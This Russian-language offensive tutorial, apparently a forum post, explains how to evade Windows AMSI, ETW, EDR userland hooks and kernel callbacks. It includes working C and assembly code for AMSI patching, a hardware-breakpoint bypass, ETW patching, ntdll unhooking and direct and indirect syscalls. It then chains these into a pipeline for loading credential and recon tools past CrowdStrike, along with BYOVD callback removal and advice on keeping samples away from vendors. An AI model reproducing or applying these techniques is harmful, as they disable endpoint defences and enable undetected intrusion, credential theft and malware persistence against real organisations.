Ты получил initial access, бикон ожил, но через тридцать секунд - тишина. EDR срезал соединение на этапе post-exploitation, а в SOC уже смотрят на алерт. Знакомая история? В 2026 году стандартный набор «AMSI patch + Invoke-Mimikatz» - билет в один конец. Defender научился ловить патчинг по сигнатурам, CrowdStrike мониторит ETW-телеметрию на уровне ядра, а SentinelOne видит подозрительные последовательности syscall-ов через kernel callbacks. Один трюк больше не спасает - нужно понимать каждый слой защиты и держать в арсенале три-четыре варианта обхода с чёткими трейдоффами.
Здесь я разберу четыре защитных механизма Windows - AMSI, ETW, userland hooks и kernel callbacks - и покажу актуальные техники обхода AMSI и антивирусных хуков с рабочим кодом на C/C++ и PowerShell. Каждый метод проверен в лабе против конкретных EDR, и я объясню, где именно в стеке вызовов происходит детект.
Обход AMSI 2026: от классики к аппаратным брейкпоинтам
Как AMSI работает под капотом
AMSI - это DLL (amsi.dll), которая экспортирует функцию AmsiScanBuffer. Когда скриптовый движок (PowerShell, VBScript, JScript, .NET CLR) собирается выполнить код, он скармливает буфер с содержимым в AmsiScanBuffer. Функция общается с зарегистрированным антивирусом, и если выходной параметр amsiResult получает значение ≥ [URL='https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result']AMSI_RESULT_DETECTED[/URL] (32768, 0x8000), выполнение блокируется. Сама AmsiScanBuffer возвращает HRESULT, а результат сканирования записывается в отдельный выходной параметр.Момент, который упускают многие гайды: AMSI - это преимущественно сигнатурное детектирование в рантайме. По данным r-tec Cyber Security, AMSI-сигнатуры могут быть как простыми строками (
Invoke-Mimikatz), так и байтовыми паттернами и даже чем-то вроде YARA-правил. Любой обход AMSI сводится к одному из двух подходов:- Изменить код так, чтобы сигнатура не срабатывала (обфускация)
- Сломать цепочку вызовов внутри
amsi.dllили связанных библиотек
AmsiScanBuffer до hardware breakpoints.Для каких сценариев AMSI bypass вообще нужен? По данным r-tec (февраль 2025), для чистого shellcode-исполнения AMSI bypass не требуется. AMSI сканирует скриптовые языки и managed-код (.NET). Если работаешь через BOF/COFF из C2-фреймворка, добавление лишнего bypass-а только увеличивает количество IoC. Bypass нужен, когда загружаешь .NET-сборку через
Assembly.Load(), исполняешь PowerShell-скрипты через Invoke-Expression или работаешь с VBA-макросами. Во всех остальных случаях - лишний шум.Патчинг AmsiScanBuffer: жив или мёртв?
Классический патч перезаписывает первые байтыAmsiScanBuffer на инструкцию, которая сразу возвращает AMSI_RESULT_CLEAN. Многие считают его устаревшим, но по данным r-tec (2025), патчинг всё ещё работает - при условии, что сам код патча не детектируется по сигнатуре.Проблема не в технике, а в реализации. Вот стандартный подход, который палится мгновенно - его байты (
0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) давно в сигнатурной базе:
C:
// Пример для демонстрации концепции - этот конкретный набор байтов детектируется
// Стандартный AmsiScanBuffer patch (НЕ использовать as-is)
unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// mov eax, 0x80070057 (E_INVALIDARG) ; ret
E_INVALIDARG можно вернуть S_OK через другую последовательность инструкций. Или использовать эквивалентные инструкции - xor eax, eax + ret вместо mov eax, imm32 + ret. Каждая уникальная комбинация, дающая тот же результат, потребует от вендора новой сигнатуры. Гонка вооружений в чистом виде.Трейдофф патчинга: он требует вызова
VirtualProtect для смены прав страницы с RX на RWX, а затем обратно. Многие EDR мониторят вызовы VirtualProtect на страницы amsi.dll и ntdll.dll. Основной вектор детекта - не сам патч, а подготовительные операции. Ты ещё ничего не запатчил, а EDR уже видит, что ты полез менять права на страницу amsi.dll.Hardware breakpoints: обход AMSI без модификации памяти
Этот метод, описанный в анализе 0xdbgman, принципиально отличается от патчинга: он не изменяет памятьamsi.dll. Вместо этого используются аппаратные отладочные регистры процессора (DR0–DR3) и Vectored Exception Handler (VEH).Алгоритм:
- Регистрируем VEH через
AddVectoredExceptionHandler - Устанавливаем hardware breakpoint на адрес
AmsiScanBufferчерез регистр DR0 - Когда выполнение доходит до
AmsiScanBuffer, процессор генерируетEXCEPTION_SINGLE_STEP - VEH перехватывает исключение и модифицирует контекст: меняем возвращаемое значение (RAX) и указатель инструкций (RIP) - функция «возвращает» чистый результат, не выполнив ни одной своей инструкции
C:
// Hardware breakpoint AMSI bypass (C)
// Требует адаптации под конкретную среду
LONG WINAPI HwBpHandler(PEXCEPTION_POINTERS pExInfo) {
if (pExInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// Проверяем, что сработал наш breakpoint на AmsiScanBuffer
if (pExInfo->ContextRecord->Rip == (DWORD64)pAmsiScanBuffer) {
// Подменяем результат: записываем S_OK в RAX и AMSI_RESULT_CLEAN в amsiResult
// ВНИМАНИЕ: вариант с E_INVALIDARG (0x80070057) встречается в публичных PoC,
// но НЕ гарантирует bypass для всех AMSI-хостов - некоторые реализуют
// fail-closed логику и блокируют выполнение при ошибке AmsiScanBuffer.
// Надёжный подход: вернуть S_OK и записать 0 в amsiResult (5-й аргумент).
pExInfo->ContextRecord->Rax = 0; // S_OK
// 5-й аргумент (amsiResult) - указатель AMSI_RESULT*, передаётся через стек на x64: [RSP+0x28]
// HW breakpoint on execution срабатывает до пролога, RSP = состояние после CALL
// (return addr at [RSP], shadow space [RSP+0x08..0x20], 5th arg at [RSP+0x28])
// Разыменовываем указатель и записываем AMSI_RESULT_CLEAN (0)
DWORD64 pResult = *(DWORD64*)(pExInfo->ContextRecord->Rsp + 0x28);
if (pResult) *(DWORD*)pResult = 0;
// Читаем return address с вершины стека и сдвигаем RSP
pExInfo->ContextRecord->Rip = *(DWORD64*)pExInfo->ContextRecord->Rsp;
pExInfo->ContextRecord->Rsp += 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// ВАЖНО: AddVectoredExceptionHandler(1, HwBpHandler) должен быть вызван ДО установки breakpoint
// Установка hardware breakpoint через SetThreadContext
// ВНИМАНИЕ: SetThreadContext с GetCurrentThread() для DR-регистров ненадёжен -
// Windows может игнорировать изменения. Рабочий паттерн: создать вспомогательный
// поток, приостановить его, установить контекст, затем возобновить.
// ВАЖНО: DR-регистры привязаны к конкретному потоку (per-thread, сохраняются/
// восстанавливаются при context switch). Breakpoint нужно установить на том потоке,
// который будет вызывать AmsiScanBuffer (т.е. поток с PowerShell/CLR).
// Ниже - рабочий вариант: вспомогательный поток устанавливает DR на ОСНОВНОЙ поток:
DWORD WINAPI SetDrOnTarget(LPVOID lpTargetThread) {
HANDLE hTarget = (HANDLE)lpTargetThread;
SuspendThread(hTarget);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hTarget, &ctx);
ctx.Dr0 = (DWORD64)pAmsiScanBuffer; // адрес функции
ctx.Dr7 = (ctx.Dr7 & ~0xF) | 0x1; // включаем DR0, break on execution
SetThreadContext(hTarget, &ctx);
ResumeThread(hTarget);
return 0;
}
// В основном коде: дублируем хендл текущего потока и передаём вспомогательному
HANDLE hReal = NULL;
DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
GetCurrentProcess(), &hReal, THREAD_ALL_ACCESS, FALSE, 0);
HANDLE hHelper = CreateThread(NULL, 0, SetDrOnTarget, (LPVOID)hReal, 0, NULL);
WaitForSingleObject(hHelper, INFINITE);
CloseHandle(hHelper); CloseHandle(hReal);
// Альтернатива: использовать NtContinue для установки DR на текущем потоке
VirtualProtect, нет записи в .text-секцию amsi.dll, нет изменений в памяти, которые может обнаружить периодическое сканирование целостности. EDR, которые полагаются на мониторинг VirtualProtect и integrity checks, этот метод обходит.Трейдофф: некоторые EDR (в частности CrowdStrike) мониторят изменения debug-регистров через
SetThreadContext. Если EDR хукает NtSetContextThread, он увидит установку breakpoint-а. Решение - вызывать NtSetContextThread через direct syscall, минуя userland hooks. Один обход тянет за собой другой - такова жизнь.AMSI Write Raid: writable entry как 0-day
Отдельного внимания заслуживает техника исследователя OffSec Victor «Vixx» Khoury. Он обнаружил, что внутриSystem.Management.Automation.ni.dll (скомпилированная Native Image версия PowerShell-библиотеки) адрес AmsiScanBuffer хранится в writable-области памяти. В отличие от Import Address Table (IAT), которая защищена от записи после загрузки, этот entry доступен на запись без вызова VirtualProtect.Суть по данным OffSec: CLR при инициализации записывает адрес
AmsiScanBuffer в определённый offset внутри System.Management.Automation.ni.dll через метод NDirectMethodDesc::SetNDirectTarget. Этот entry остаётся writable. Перезаписав его адресом dummy-функции, можно перенаправить все вызовы AmsiScanBuffer на заглушку - без изменения кода amsi.dll и без VirtualProtect. Красиво, ничего не скажешь.Работает в PowerShell 5.1 и PowerShell 7.4 (по данным OffSec на момент публикации). Уязвимость была зарепорчена Microsoft 8 апреля 2024 года. Offset зависит от версии CLR и может меняться между сборками Windows - так что готовьтесь к динамическому поиску.
ETW patching bypass: как отключить телеметрию для EDR
Почему ETW - ваш главный враг после AMSI
Event Tracing for Windows (ETW) - механизм, через который ядро и userland-компоненты генерируют телеметрию. Большинство EDR подписаны на ETW-провайдеры для получения данных о событиях: загрузка DLL, создание процессов, сетевые соединения, .NET CLR events. Если AMSI - фильтр на входе скриптового движка, то ETW - глобальная шина событий, которая питает EDR информацией обо всём, что происходит в системе. Можно сказать, что AMSI - вышибала на входе, а ETW - камеры наблюдения внутри.Провайдеры, за которые цепляются EDR:
Microsoft-Windows-Threat-Intelligence(ETWti) - kernel-level, информация о process injection, memory allocation с подозрительными правамиMicrosoft-Antimalware-Scan-Interface- AMSI eventsMicrosoft-Windows-DotNETRuntime- CLR events, загрузка assembly
Патчинг EtwEventWrite в userland
По аналогии с AMSI-патчингом, можно патчить функциюEtwEventWrite в ntdll.dll, чтобы она сразу возвращала успех, не отправляя события:
C:
// ETW patch - патчинг ntdll!EtwEventWrite
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
// xor eax, eax ; ret - функция возвращает STATUS_SUCCESS (0)
// ВНИМАНИЕ: байты 33 C0 C3 - известная сигнатура ETW-патча, детектируемая
// Elastic Security, Defender и другими EDR. Используйте эквивалентные инструкции
// или hardware breakpoint подход (см. раздел AMSI HW breakpoints выше).
unsigned char patch[] = { 0x33, 0xC0, 0xC3 }; // xor eax,eax; ret
memcpy(pEtwEventWrite, patch, sizeof(patch));
VirtualProtect(pEtwEventWrite, 3, oldProtect, &oldProtect);
EtwEventWrite запатчена - события не уходят, EDR не видит загрузку assembly.Трейдофф: патчинг
ntdll.dll сам по себе детектируется. EDR периодически проверяет целостность ntdll.dll в памяти, сравнивая с версией на диске. Плюс вызов VirtualProtect на страницы ntdll.dll - красный флаг. Те же грабли, что и с AMSI-патчингом.ETWti: kernel-level телеметрия, которую не запатчить из userland
Вот тут начинается настоящая боль.Microsoft-Windows-Threat-Intelligence (ETWti) - kernel-mode провайдер. Он генерирует события непосредственно из ядра при определённых операциях: NtAllocateVirtualMemory с правами RWX, NtWriteVirtualMemory в чужой процесс, создание потока в чужом процессе. Патчинг из userland невозможен - код работает в kernel space.Для обхода ETWti два основных пути:
- BYOVD (Bring Your Own Vulnerable Driver) - загрузить уязвимый подписанный драйвер и через него отключить ETWti-провайдер или удалить kernel callback. EDRSandBlast (на GitHub) использует именно этот подход
- Избегание триггеров - не вызывать операции, которые генерируют ETWti-события. Например,
NtMapViewOfSectionвместоNtAllocateVirtualMemory+NtWriteVirtualMemoryдля маппинга шеллкода
NtTraceEvent (syscall-обёртку для ETW) и в VEH-хендлере возвращаем STATUS_SUCCESS. Но это работает только для userland ETW, не для ETWti. Ядерную телеметрию так не выключишь.Userland hooks unhooking: прямые и непрямые syscall-ы
Как EDR ставит хуки
Когда EDR-агент загружается в процесс, его DLL перехватывает ключевые функции вntdll.dll. Стандартная техника - inline hooking: первые байты функции (обычно 5–12 байт) заменяются на jmp к коду EDR. EDR-функция логирует вызов, проверяет параметры и решает - пропустить оригинальный вызов или заблокировать.Типичные хукаемые функции:
NtAllocateVirtualMemory- выделение памятиNtWriteVirtualMemory- запись в память другого процессаNtCreateThreadEx- создание потока (Process Injection, T1055)NtProtectVirtualMemory- изменение прав страницNtMapViewOfSection- маппинг секций
ntdll.dll, переходите к нужной функции и смотрите первые инструкции. Если вместо mov r10, rcx / mov eax, SSN / syscall видите jmp <addr> - функция захукана. Лично я первым делом проверяю NtAllocateVirtualMemory и NtCreateThreadEx - если они чистые, остальные скорее всего тоже.Unhooking через чтение ntdll с диска
Классическая техника Disable or Modify Tools (T1562.001, Defense Evasion): читаем чистую копиюntdll.dll с диска, находим .text-секцию и перезаписываем ею захуканную версию в памяти. После этого все хуки EDR снимаются.
C:
// Unhooking ntdll.dll - чтение чистой копии с диска
// 1. Читаем ntdll.dll с диска
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID pClean = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
ReadFile(hFile, pClean, fileSize, NULL, NULL);
CloseHandle(hFile);
// 2. Парсим PE-заголовки, находим .text секцию
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pClean;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pClean + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (!strcmp((char*)pSection[i].Name, ".text")) {
// 3. Получаем адрес .text в загруженной ntdll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pTarget = (LPVOID)((BYTE*)hNtdll + pSection[i].VirtualAddress);
DWORD oldProtect;
// 4. Перезаписываем хуканутую секцию чистой
VirtualProtect(pTarget, pSection[i].Misc.VirtualSize,
PAGE_EXECUTE_READWRITE, &oldProtect);
// VirtualSize и SizeOfRawData могут различаться (alignment, BSS).
// Копируем min из двух, чтобы избежать buffer over-read.
DWORD copySize = min(pSection[i].Misc.VirtualSize, pSection[i].SizeOfRawData);
memcpy(pTarget,
(BYTE*)pClean + pSection[i].PointerToRawData,
copySize);
VirtualProtect(pTarget, pSection[i].Misc.VirtualSize,
oldProtect, &oldProtect);
break;
}
}
VirtualFree(pClean, 0, MEM_RELEASE);
CreateFile на ntdll.dll, а также VirtualProtect на .text-секцию ntdll.dll. CrowdStrike, по моему опыту, ловит это стабильно. Вариации - читать ntdll из \KnownDlls\ через NtOpenSection, маппить через NtMapViewOfSection, или стянуть чистую копию из suspended-процесса (notepad.exe), в котором ntdll ещё не захукана.Direct syscalls: SysWhispers и Hell's Gate
Вместо unhooking можно полностью обойтиntdll.dll, вызывая syscall-ы напрямую. В Windows каждая Nt-функция - обёртка над номером syscall (SSN, System Service Number). Direct syscall означает, что мы сами формируем вызов syscall инструкции с нужным SSN, минуя код ntdll.dll и все установленные в нём хуки.Инструменты для получения SSN:
- SysWhispers2/3 - генерирует ассемблерные stub-ы для нужных Nt-функций. SysWhispers3 поддерживает рандомизацию имён и jumper-ы
- Hell's Gate - динамически извлекает SSN из
ntdll.dllв рантайме, парсит байты функции и находитmov eax, SSNдаже если первые инструкции перезаписаны хуком - Halo's Gate - расширение Hell's Gate, которое умеет искать SSN у соседних (незахуканных) функций и вычислять нужный через смещение
Код:
; Direct syscall stub - пример для NtAllocateVirtualMemory
; SSN может меняться между версиями Windows!
NtAllocateVirtualMemory PROC
mov r10, rcx
; ВНИМАНИЕ: SSN ДОЛЖЕН разрешаться динамически (Hell's Gate, Halo's Gate, парсинг ntdll).
; Хардкод SSN = BSOD или вызов не той функции на другой версии Windows.
; 0x18 - условный пример, НЕ корректен для всех билдов (на Win 11 23H2 совпадает,
; но на других версиях может соответствовать другой Nt-функции).
mov eax, 0x18
syscall
ret
NtAllocateVirtualMemory ENDP
Indirect syscalls: зачем нужна дополнительная сложность
Проблема direct syscalls: инструкцияsyscall выполняется из вашего модуля (из .text-секции вашего PE), а не из ntdll.dll. Продвинутые EDR проверяют return address на стеке - если syscall вызван не из ntdll.dll, это аномалия. Ты тупо палишься по адресу возврата.Indirect syscall решает эту проблему: вместо выполнения
syscall в своём коде, мы передаём управление на инструкцию syscall внутри ntdll.dll. Поток выполнения: наш код готовит регистры (SSN в eax, rcx в r10), затем делает jmp на адрес syscall; ret внутри ntdll.dll. Return address на стеке указывает на ntdll.dll - EDR видит легитимный вызов.
Код:
; Indirect syscall stub - концепция
; Адрес syscall инструкции внутри ntdll добывается динамически
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 0x18
jmp qword ptr [SyscallAddr] ; прыгаем на syscall;ret внутри ntdll.dll
NtAllocateVirtualMemory ENDP
Сравнение подходов: что работает против конкретных EDR
Дисклеймер: результаты получены в лабораторных условиях и привязаны к конкретным версиям и конфигурациям EDR на момент тестирования. EDR обновляются еженедельно - перед операцией всегда проверяйте актуальность в своей лабе с целевой версией продукта.
| Техника | Windows Defender | CrowdStrike Falcon | SentinelOne |
|---|---|---|---|
| Unhooking с диска | Работает | Детектируется (мониторинг file I/O на ntdll) | Частично детектируется |
| Direct syscalls | Работает | Детектируется (проверка return address) | Детектируется (stack trace analysis) |
| Indirect syscalls | Работает | Работает (при корректном stack spoofing) | Частично работает |
| Hardware breakpoints + VEH | Работает | Работает (если NtSetContextThread через indirect syscall) | Частично работает (VEH-хендлер может детектироваться через мониторинг AddVectoredExceptionHandler - зависит от версии и конфигурации) |
Против Defender достаточно direct syscalls. Против CrowdStrike и SentinelOne нужна комбинация indirect syscalls + stack spoofing. Stack spoofing - подделка call stack, чтобы EDR при анализе стека видел легитимную цепочку вызовов, а не ваш shellcode-loader. Без него на серьёзных EDR далеко не уедешь.
Kernel callbacks evasion: последний рубеж обороны
Что регистрирует EDR в ядре
Когда EDR устанавливает kernel-mode драйвер, он регистрирует callback-и через документированные API ядра:PsSetCreateProcessNotifyRoutine- уведомление о создании/завершении процессаPsSetCreateThreadNotifyRoutine- уведомление о создании потокаPsSetLoadImageNotifyRoutine- уведомление о загрузке образа (DLL/EXE)ObRegisterCallbacks- мониторинг операций с хендлами (открытие процесса, дупликация хендла)CmRegisterCallback- мониторинг операций с реестром
NtCreateThreadEx в чужом процессе (даже через indirect syscall с идеальным стеком), ядро вызывает все зарегистрированные PsSetCreateThreadNotifyRoutine-callback-и, и EDR-драйвер получает информацию. Тут уже не поможет никакой фокус с userland - ядро видит всё.EDRSandBlast и BYOVD-подход
EDRSandBlast (на GitHub) использует уязвимый подписанный драйвер для:- Удаления Notify Routine callbacks (Process, Thread, Image)
- Удаления Object Callbacks
- Отключения ETWti-провайдера
- Снятия PPL-защиты с LSASS
- Загружаем легитимный подписанный драйвер с известной уязвимостью (arbitrary read/write в kernel memory)
- Через уязвимость читаем структуры ядра, находим массив callback-ов
- Зануляем или перезаписываем указатели на callback-и EDR-драйвера
- Делаем своё дело (injection, credential dump)
- Опционально - восстанавливаем callback-и, чтобы минимизировать артефакты
Почему kernel callbacks - отдельная головная боль в 2026
Microsoft активно ужесточает политику подписания драйверов. Hypervisor-Protected Code Integrity (HVCI) блокирует загрузку многих уязвимых драйверов. Vulnerable Driver Blocklist обновляется регулярно и содержит хеши известных уязвимых драйверов.Трейдоффы BYOVD в 2026:
- Драйвер должен быть подписан и не находиться в blocklist
- Загрузка драйвера требует привилегий администратора
- Сам факт загрузки нового драйвера генерирует события (Sysmon Event ID 6)
- На системах с HVCI набор доступных уязвимых драйверов сильно ограничен
Собираем evasion pipeline: пошаговая цепочка обходов
Вот как выглядит рабочий pipeline для загрузки .NET-инструмента (Rubeus, Seatbelt) в среде с EDR уровня CrowdStrike:
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Шаг 1: ETW bypass. Патчим
EtwEventWrite через hardware breakpoint на DR1 (не через VirtualProtect). Это «ослепляет» .NET CLR ETW-провайдер.Шаг 2: AMSI bypass. Используем hardware breakpoint на
AmsiScanBuffer через DR0. VEH-хендлер проверяет RIP и обрабатывает оба breakpoint (ETW и AMSI) в одном обработчике. Вызов NtSetContextThread для установки DR-регистров - через indirect syscall.Шаг 3: Загрузка assembly. Загружаем зашифрованную .NET-сборку. Расшифровываем в памяти, вызываемHardware breakpoints ограничены 4 регистрами (DR0–DR3). При одновременном bypass AMSI (DR0) и ETW (DR1) остаётся только DR2 и DR3 для других целей. Планируйте использование DR-регистров заранее - четыре слота кончаются быстрее, чем кажется.
Assembly.Load(). AMSI и ETW обойдены - ни сигнатурного, ни телеметрического детекта.Шаг 4: Очистка. Снимаем hardware breakpoints, восстанавливаем контекст. Чем меньше времени bypass активен, тем меньше окно для детекта периодическими memory scan-ами.
По данным 0xdbgman, эффективный build pipeline для нативных имплантов: Source Code -> OLLVM compile -> Encrypted PE Loader -> VMProtect hardening. Каждый слой бьёт по разным механизмам детекта: OLLVM ломает статические сигнатуры, PE Loader исключает запись малвари на диск, VMProtect делает реверс-инжиниринг нерентабельным.
Sleep obfuscation: шифрование бикона в памяти
Отдельная техника, критичная для долгоживущих имплантов. Когда бикон «спит» между callback-ами к C2, его тело в памяти - мишень для memory scanner-а. Техники sleep obfuscation шифруют тело бикона на время сна:- Ekko - ROP-based шифрование через Timer Queue. Создаёт таймер, который сначала вызывает
VirtualProtect(RW), затемSystemFunction032(шифрование RC4), затемVirtualProtect(RX). На пробуждение - обратная процедура - Foliage - APC-based вариант
- Cronos - через
NtContinue
Практические рекомендации по тестированию антивирусного обхода
- Тестируйте послойно. Сначала только Defender (без EDR). Потом добавляйте EDR. Разные слои защиты - разные детекты. Если не работает против Defender, нет смысла лезть на CrowdStrike.
- Не добавляйте bypass, если он не нужен. Каждый bypass - это IoC. Шеллкод-лоадер не требует AMSI bypass. Добавляя его «на всякий случай», вы увеличиваете attack surface для детекта. Меньше кода - меньше зацепок.
- Публичные обфускаторы = детект. По данным r-tec,
Invoke-Obfuscationдо сих пор снижает количество детектов на VirusTotal, но некоторые EDR имеют выделенные AMSI-сигнатуры для обфускации Invoke-Obfuscation. VirusTotal не показывает AMSI-детекты - только файловые сигнатуры. Не доверяйте VT как единственному индикатору. - Используйте изолированные лабы. VM с конкретным EDR, snapshot до теста, откат после. Не тестируйте на машинах с telemetry upload - вендор получит ваш семпл и добавит сигнатуру. На одном проекте коллега загрузил семпл на VT «проверить» - через два дня сигнатура уже была в базе.
- Мониторьте, что мониторит EDR. Process Hacker покажет загруженные DLL EDR-агента в вашем процессе. x64dbg покажет хуки в ntdll. WinDbg покажет kernel callbacks через
!callback. Понимание того, что видит защитник - основа для его обхода.
Маппинг на MITRE ATT&CK
Все описанные техники обхода AMSI и антивирусных хуков укладываются в следующие тактики и техники MITRE ATT&CK:| Техника обхода | MITRE ATT&CK ID | Тактика |
|---|---|---|
| AMSI patch / HW breakpoint |
Ссылка скрыта от гостей
| Defense Evasion |
| ETW patching | Disable or Modify Tools (T1562.001) | Defense Evasion |
| Payload encryption, OLLVM |
Ссылка скрыта от гостей
| Defense Evasion |
| Shellcode injection, thread creation |
Ссылка скрыта от гостей
| Defense Evasion, Privilege Escalation |
| PowerShell execution | PowerShell (T1059.001) | Execution |
| Kernel callback removal (BYOVD) | Disable or Modify Tools (T1562.001) | Defense Evasion |
Что работает в 2026 и куда копать дальше
Обход антивирусных хуков в 2026 году сместился от «одного трюка» к многослойным pipeline-ам. ПатчингAmsiScanBuffer всё ещё жив, но требует маскировки самого патча. Hardware breakpoints - наиболее чистый метод обхода AMSI и ETW из userland. Indirect syscalls с stack spoofing - текущий gold standard для обхода userland hooks продвинутых EDR. Kernel callbacks остаются самым сложным слоем: BYOVD работает, но окно для этого подхода сужается с каждым обновлением Vulnerable Driver Blocklist.Главный принцип: понимай почему детект происходит, а не слепо копируй чужие bypass-ы с GitHub. Каждый публичный инструмент - это IoC, который вендор добавит в сигнатуры в течение недель. Пиши своё, тестируй в лабе, адаптируй под конкретный EDR цели. Попробуйте собрать pipeline из этой статьи и прогнать его против Defender с включённым cloud protection - если пройдёт, у вас хорошая база для дальнейших экспериментов.